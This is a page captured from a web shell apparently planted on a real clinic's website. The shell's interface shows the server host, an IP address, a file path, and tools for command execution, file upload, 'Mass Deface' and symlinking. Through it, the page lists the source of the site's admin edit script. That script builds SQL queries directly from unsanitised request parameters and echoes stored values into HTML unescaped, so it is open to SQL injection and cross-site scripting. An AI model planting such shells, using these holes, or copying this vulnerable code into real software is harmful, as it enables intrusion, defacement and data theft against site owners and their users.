V1rus Private
User / IP
:
216.73.216.30
Host / Server
:
195.35.44.181 / www.cosmedicclinic.eu
System
:
Linux in-mum-web1192.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
u973365695
/
domains
/
cosmedicclinic.eu
/
public_html
/
india
/
dashboard
/
Viewing: Injectables-edit.php
<?php require'../conn.php'; $ids = $_GET['id']; $showquery = "select * from Injectables where id='$ids'"; $showData = mysqli_query($conn, $showquery); $arrayData = mysqli_fetch_array($showData); ?> <!doctype html> <html class="no-js" lang="en" dir="ltr"> <!-- Mirrored from pixelwibes.com/template/ebazar/html/dist/product-add.php by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 12 Oct 2023 20:50:14 GMT --> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Cosmedic Clinic :: Injectables </title> <link rel="icon" href="../img/sublogo.png" type="image/x-icon"> <!-- Favicon--> <!--plugin css file --> <link rel="stylesheet" href="assets/plugin/multi-select/css/multi-select.css"><!-- Multi Select Css --> <link rel="stylesheet" href="assets/plugin/bootstrap-tagsinput/bootstrap-tagsinput.css"> <!-- Bootstrap Tagsinput Css --> <link rel="stylesheet" href="assets/plugin/cropper/cropper.min.css"><!--Cropperer Css --> <link rel="stylesheet" href="assets/plugin/dropify/dist/css/dropify.min.css" /><!-- Dropify Css --> <link rel="stylesheet" href="assets/plugin/datatables/responsive.dataTables.min.css"><!-- Datatable Css --> <link rel="stylesheet" href="assets/plugin/datatables/dataTables.bootstrap5.min.css"><!-- Datatable Css --> <!-- Project css file --> <link rel="stylesheet" href="assets/css/ebazar.style.min.css"> <link rel="stylesheet" href="css/bootstrap.min.css"> <script src="ckeditor/ckeditor.js"></script> <style> .uploader{ background: #f9f9f9; margin-bottom: 25px; padding: 20px; border: 2px dashed #ddd; border-radius: 5px; width: 97%; margin: 0 auto; } .uploader input[type="file"]{ display: none; } .uploader label{ display: block; position: relative; background-color: #072142; color: #ffffff; font-size: 14px; text-align: center; width: 200px; padding: 15px 0; margin: auto; border-radius: 5px; cursor: pointer; } .uploader p{ text-align: center; margin: 20px 0 30px 0; font-size: 14px; font-weight: 500; } #images{ width: 90%; position: relative; margin: auto; display: flex; justify-content: space-evenly; gap: 20px; flex-wrap: wrap; } figure{ width: 45%; } img{ width: 100%; } figcaption{ text-align: center; font-size: 2.4vmin; margin-top: 0.5vmin; } .ck-rounded-corners .ck.ck-editor__main>.ck-editor__editable, .ck.ck-editor__main>.ck-editor__editable.ck-rounded-corners { height: 300px; } .ck-editor__editable[role="textbox"] { /* Editing area */ min-height: 200px; } .ck-content .image { /* Block images */ max-width: 80%; margin: 20px auto; } </style> </head> <body> <div id="ebazar-layout" class="theme-blue"> <!-- sidebar --> <?php require 'sidebar.php'; ?> <!-- main body area --> <div class="main px-lg-4 px-md-4"> <!-- Body: Header --> <?php require 'header.php'; ?> <!-- Body: Body --> <div class="body d-flex py-3"> <div class="container-xxl"> <div class="row align-items-center"> <div class="border-0 mb-4"> <div class="card-header py-3 no-bg bg-transparent d-flex align-items-center px-0 justify-content-between border-bottom flex-wrap"> <h3 class="fw-bold mb-0">Update <?php echo $arrayData['title'];?></h3> </div> </div> </div> <!-- Row end --> <form class="bg-white px-5 py-5" action="" method="POST" enctype="multipart/form-data"> <div class="row g-3 mb-4"> <div class="col-xl-12 col-lg-12"> <label for="title">Title</label> <input type="text" name="protitle" value="<?php echo $arrayData['title'];?>" placeholder="Title" class="form-control mt-2"> </div> </div><!-- Row end --> <div class="row g-3 mb-3"> <div class="col-xl-12 col-lg-12"> <label for="prodes">Description</label> <div class="tab1 mt-2"> <textarea name="prodescription" class="ckeditor"> <?php echo $arrayData['description'];?> </textarea> </div> </div> <div class="col-xl-12 col-lg-12"> <label for="image mb-3">Image</label> <div class="form-group row"> <div class="uploader"> <input type="file" name="image" id="file-input" accept=".jpeg, .jpg, .png" onchange="preview()"/> <label for="file-input"> <i class="icon-upload"></i> Choose A Photo </label> <p id="num-of-files">No Files Chosen</p> <div id="images"></div> </div> </div> </div> </div> <div class="mt-4"> <input type="submit" value="Update" class="btn btn-primary" name="Update" disable> </div> <?php if (isset($_POST['Update'])) { $postTitle = $_POST['protitle']; $postdes = $_POST['prodescription']; // $name = $_POST['name']; if ($_FILES["image"]["error"] == 4) { $query = "update Injectables set `title`='$postTitle', `description`='$postdes' where id='$ids'"; $insert = mysqli_query($conn, $query); if($insert){ echo "<h4 class='text-center my-4' style='color:green'>Updated Successfull! </h4>"; // sleep(2); // echo '<script> location.replace("Injectables.php"); </script>'; } } else { $fileName = $_FILES["image"]["name"]; $fileSize = $_FILES["image"]["size"]; $tmpName = $_FILES["image"]["tmp_name"]; $validImageExtension = ['jpeg', 'jpg', 'png']; $imageExtension = explode('.', $fileName); $imageExtension = strtolower(end($imageExtension)); if (!in_array($imageExtension, $validImageExtension)) { echo "<script>alert('Please choose a jpeg/jpg/png file');</script>"; } else { $newImageName = uniqid(); $newImageName .= '.' . $imageExtension; move_uploaded_file($tmpName, 'uploads/' . $newImageName); } $query = "UPDATE `Injectables` SET `title`='$postTitle',`description`='$postdes',`image`='$newImageName' WHERE id='$ids'"; $insert = mysqli_query($conn, $query); if($insert){ echo "<h4 class='text-center my-4' style='color:green'>Updated Successfull! </h4>"; sleep(2); echo '<script> location.replace("Injectables.php"); </script>'; } } } ?> </form> </div> </div> </div> </div> <!-- Jquery Core Js --> <script src="assets/bundles/libscripts.bundle.js"></script> <!-- Jquery Plugin --> <script src="../../../../../cdn.ckeditor.com/ckeditor5/29.0.0/classic/ckeditor.js"></script> <script src="assets/plugin/multi-select/js/jquery.multi-select.js"></script> <script src="assets/plugin/bootstrap-tagsinput/bootstrap-tagsinput.js"></script> <script src="assets/plugin/cropper/cropper.min.js"></script> <script src="assets/plugin/cropper/cropper-init.js"></script> <script src="assets/bundles/dropify.bundle.js"></script> <script src="assets/bundles/dataTables.bundle.js"></script> <script src="js/bootstrap.bundle.min.js"></script> <!-- Jquery Page Js --> <script src="../js/template.js"></script> <script> // CKEDITOR.replace('ckeditor'); let fileInput = document.getElementById("file-input"); let imageContainer = document.getElementById("images"); let numOfFiles = document.getElementById("num-of-files"); function preview() { imageContainer.innerHTML = ""; numOfFiles.textContent = `${fileInput.files.length} Files Selected`; for (i of fileInput.files) { let reader = new FileReader(); let figure = document.createElement("figure"); let figCap = document.createElement("figcaption"); figCap.innerText = i.name; figure.appendChild(figCap); reader.onload = () => { let img = document.createElement("img"); img.setAttribute("src", reader.result); figure.insertBefore(img, figCap); } imageContainer.appendChild(figure); reader.readAsDataURL(i); } } </script> </body> <!-- Mirrored from pixelwibes.com/template/ebazar/html/dist/product-add.php by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 12 Oct 2023 20:50:15 GMT --> </html>
Coded With 💗 by
HanzOFC